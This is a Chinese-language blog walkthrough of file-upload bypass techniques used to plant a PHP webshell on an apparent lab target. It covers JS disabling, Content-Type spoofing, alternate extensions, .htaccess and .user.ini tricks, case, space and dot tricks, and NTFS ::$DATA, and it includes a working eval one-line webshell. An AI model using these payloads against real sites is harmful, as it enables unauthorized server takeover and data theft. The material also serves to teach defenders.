|
GetShell-技术时效性的价值和经验总结网络攻防:GetShell-->技术时效性的价值&经验总结 发表于河南盛世灵匠信息安全有限公司 作者:李秉霖 转载请注明出处 0X00 任务背景 拟定题目:某项目独立开发需要占用大量资源,但是市面拥有成功案例,期望在零投资的前提下拿到关键情报! 题目地址:Attack.sslj.net 前提设想:独立研发项目由于缺乏实战经验,因此得出结论“有困难”; 现实条件:没有资金、技术、资源等一系列支撑,得出结论“有困难”; 解决方案:决定渗透某个成型项目,拿到关键资料,实现到手情报的参考和二次开发,达到0投资之目的。 0X01 任务声明 整个任务属于黑盒测试,题目为拟定,我们不提倡也不鼓励任何意图的渗透/网络破坏,在此只是整理整个任务流程的不成形思路,并提醒项目开发者规避一些细节问题。 本文按照从简到难的流程进行总结。 思想不可锁闭,技术没有边界,如果您有更好的解决方案,请联系我,WeChat:PLA017 / RedHackerCHN 0X02 任务开始 我们先来看一张思维导图 理解后任务开始 0X02::$mission(1) 上传PHP木马,发现前端报错 方案:尝试前端绕过--->打开浏览器设置,禁用JavaScript,如图 再次上传,发现上传成功,并获取Shell地址,直接访问即可获取权限 结论:前端js判断无需经由后台即可绕过限制条件,只需禁用浏览器JS。同理,修改本地JS文件,增加上传文件类型亦可达到同样效果! 0X02::$mission(2) 按照任务1的流程,发现上传报错 由错误提示中进行社情分析:上传可能判断Content-Type,于是打开Fiddler抓包 修改Content-Type后面的参数为Image/png,发送篡改后的包,发现上传成功并获取Shell地址,直接访问即可获取权限 结论:此类判断,把截获的包内容“Content-Type”项直接删除,或者修改为参数为:Image/GIF或Image/JPG 亦可达到同样效果! 0X02::$mission(3) 按照任务1&2的流程,发现上传报错 根据提示猜测可能是黑名单限制规则,同样使用Fiddler抓包 修改php后缀为php2或php3或php4或phtml 上传成功并获得Shell地址,另外我们可以发现,上传对文件名做了重命名处理,这条情报可以记录在心,以便挑战更困难的任务! 结论:黑名单永远没有白名单安全!!!! 0X02::$mission(4) 按照任务1&2&3的流程,发现上传报错 由于按照1&2&3的思路无法突破,遂考虑依旧是黑名单限制并过滤了几乎所有有风险的后缀,此时考虑上传.htaccess文件尝试突破(注:此文件无法在win系统下直接创建,除非使用CMD命令或使用Fiddler篡改包数据,下面介绍使用Fiddler实战经验) 首先我们选取任意文件,点击上传,截获包,然后篡改包内容,将文件名修改为.htaccess,删除Type类型,并写入文件内容,参考下图代码: SetHandler application/x-httpd-php 选取任意文件,修改文件名 删除刚才选择的“任意文件”的文件内容 将超文本入口解析类型加入(此段代码会将任意格式的文件类型解析为PHP) 发送篡改后的包,发现上传成功! 刚才只是前戏,现在将我们的Shell文件后缀改为合法后缀,再次上传 此时修改过后缀的Shell文件上传成功,虽然是PNG格式,但是由于我们先前已经篡改了.htaccess,因此无论何种格式,均会被服务器解析为PHP,于是我们成功GetShell,获取权限 0X02::$mission(5) 以下不再描述“按照任务1&2&3&.......”,直接切入正题 我们发现上传目录有“Readme.php”,即上传目录下存在可执行文件,遂考虑上传.user.ini文件 此处普及一下概念:如果.htaccess的方法可以让你GetShell,那么.user.ini会让GetShell的概率提升N倍! .user.ini比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi模式运行的php都可以用这个方法。 不如先来看一段官方解释: 以上我们可以看到,模式为PHP_INI_USER的配置项可以在ini_set()函数中、注册表中、.user.ini中设置。 抛开主要php.ini(php默认配置文件)不谈,PHP还会在每个目录下扫描(ini)文件,从被执行的PHP文件所在目录开始,逐级往上寻找web所在目录(即:$_SERVER['DOCUMENT_ROOT'])。 注意:在.user.ini命名格式的ini文件中只有具有PHP_INI_PERDIR和PHP_INI_USER模式的ini设置可被识别。 和php.ini不同的是!!!!.user.ini是一个能被动态加载的ini文件。什么意思呢?也就是一旦.user.ini创建/修改后,不需要重启任何服务器组件,只需要等待user_ini.cache_ttl(默认为300秒)到时,即可被重新加载。 那这里就很清楚了:我们可以很容易地借助.user.ini文件来构造一个GetShell的途径。 回到任务 我们首先上传.user.ini文件(使用前面几个任务已经get到的技能,只叙述简明流程) 文件内容为: auto_prepend_file=Alex.png 接着我们开始上传名为“Alex.png”的文件,文件内容为最简洁的一句话木马: <?php @eval($_POST['Alex']);?> 等待五分钟另ini文件生效,然后使用Xise或者AntSword链接Shell,即可获得权限 结论:
0X02::$mission(6) 此时我们发现该任务同样使用的黑名单限制规则,并且加上了.htaccess限制,但是没有将后缀进行大小写统一,因此可以通过大小写绕过 结论:上传条件加入转换小写限制,需要注意的是Linux在没有特殊配置的情况下,此类方法是无效的,只有Win会忽略大小写 $file_ext = strtolower($file_ext); 0X02::$mission(7) 同样加入了几乎所有的限制,但是并没有限制空格 结论:Win下的命名格式:xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个.php[空格]文件即可绕过限制。 0X02::$mission(8) 同样加入了几乎所有的限制,但是并没有限制点 结论:如同任务7,同样的道理 0X02::$mission(9) 同样加入了几乎所有的限制,但是并没有限制数据流,此类漏洞仅限于Win服务器 由于模拟环境为Linux,因此无法展示入侵过程 结论:NTFS文件系统数据流支持。 然而这条情报并不是广为人知,这个漏洞主要是利用win下Macintosh文件系统中文件的兼容性,备用数据流允许文件包含多个数据流的特性,并且任意文件有且至少拥有一条数据流。 因此在Win中,上传.php::$DATA后缀即可绕过。 Shell上传成功后获取路径,访问时去掉::$DATA即可获取权限! 待续 参考文献:
|